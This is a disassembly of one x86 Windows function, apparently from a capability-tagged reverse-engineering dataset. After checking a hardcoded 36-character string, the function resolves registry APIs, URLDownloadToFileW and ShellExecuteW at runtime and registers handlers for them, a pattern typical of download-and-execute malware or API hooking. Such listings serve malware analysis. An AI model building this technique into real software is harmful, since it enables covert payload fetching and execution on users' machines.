Function at 0x10015d10
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10038078
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x10049390]
xor eax, esp
mov dword [esp + 0x4c], eax
push esi
push edi
mov eax, dword [0x10049390]
xor eax, esp
push eax
lea eax, [esp + 0x60]
mov dword fs:[0], eax
lea eax, [esp + 0x28]
add ecx, 0x1c
push eax
call fcn.10006d80
mov dword [esp + 0x68], 0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x44]
call fcn.10019800
mov byte [esp + 0x6c], 1
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.100198c0
add esp, 4
mov byte [esp + 0x68], 3
cmp dword [esp + 0x54], 0x10
jb 0x10015d94
push dword [esp + 0x40]
call fcn.10020454
add esp, 4
cmp dword [esp + 0x24], 0x10
lea ecx, [esp + 0x10]
mov esi, dword [esp + 0x20]
mov eax, 0x24
cmovae ecx, dword [esp + 0x10]
mov edx, str.8a817468b3e01928ee9a64557657ff4f11fc
cmp esi, eax
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], 0
cmovb eax, esi
mov byte [esp + 0x40], 0
push eax
call fcn.10008540
add esp, 4
test eax, eax
jne 0x10015deb
cmp esi, 0x24
jae 0x10015de1
or eax, 0xffffffff
jmp 0x10015de9
xor eax, eax
cmp esi, 0x24
setne al
test eax, eax
sete al
test al, al
sete al
test al, al
jne 0x10015f6f
mov ecx, dword [0x1004a4f8]
mov eax, ecx
xor eax, dword [0x1004a4f4]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ecx, eax
mov dword [0x1004a4f4], ecx
xor ecx, eax
push str.RegOpenKeyExW
push str.advapi32.dll
mov dword [0x1004a4f0], eax
mov dword [0x1004a4f8], ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.RegEnumKeyExW
push str.advapi32.dll
mov dword [0x1004ef2c], eax
call edi
push eax
call esi
push str.RegCloseKey
push str.advapi32.dll
mov dword [0x1004ef3c], eax
call edi
push eax
call esi
push str.RegQueryValueExW
push str.advapi32.dll
mov dword [0x1004ef24], eax
call edi
push eax
call esi
push str.URLDownloadToFileW
push str.urlmon.dll
mov dword [0x1004ef28], eax
call edi
push eax
call esi
push str.ShellExecuteW
push str.shell32.dll
mov dword [0x1004ef30], eax
call edi
push eax
call esi
cmp dword [0x1004ef24], 0
mov dword [0x1004ef38], eax
je 0x10015f33
cmp dword [0x1004ef3c], 0
je 0x10015f33
cmp dword [0x1004ef2c], 0
je 0x10015f33
cmp dword [0x1004ef28], 0
je 0x10015f33
cmp dword [0x1004ef30], 0
je 0x10015f33
test eax, eax
je 0x10015f33
mov edx, 0x10016070
mov ecx, 0x1004ef2c
call fcn.1001a6e0
mov edx, 0x100164b0
mov ecx, 0x1004ef3c
call fcn.1001a6e0
mov edx, 0x10016650
mov ecx, 0x1004ef24
call fcn.1001a6e0
mov edx, 0x100166f0
mov ecx, 0x1004ef28
call fcn.1001a6e0
mov edx, 0x10017020
mov ecx, 0x1004ef30
call fcn.1001a6e0
mov edx, 0x10017240
mov ecx, 0x1004ef38
call fcn.1001a6e0
jmp 0x10015f6f
mov dword [0x1004ef24], 0
mov dword [0x1004ef3c], 0
mov dword [0x1004ef2c], 0
mov dword [0x1004ef28], 0
mov dword [0x1004ef30], 0
mov dword [0x1004ef38], 0
mov byte [esp + 0x68], 0
cmp dword [esp + 0x24], 0x10
jb 0x10015f87
push dword [esp + 0x10]
call fcn.10020454
add esp, 4
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
mov dword [esp + 0x68], 0xffffffff
cmp dword [esp + 0x3c], 0x10
jb 0x10015fb7
push dword [esp + 0x28]
call fcn.10020454
add esp, 4
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], 0
mov byte [esp + 0x28], 0
mov ecx, dword [esp + 0x60]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.10020459
mov esp, ebp
pop ebp
ret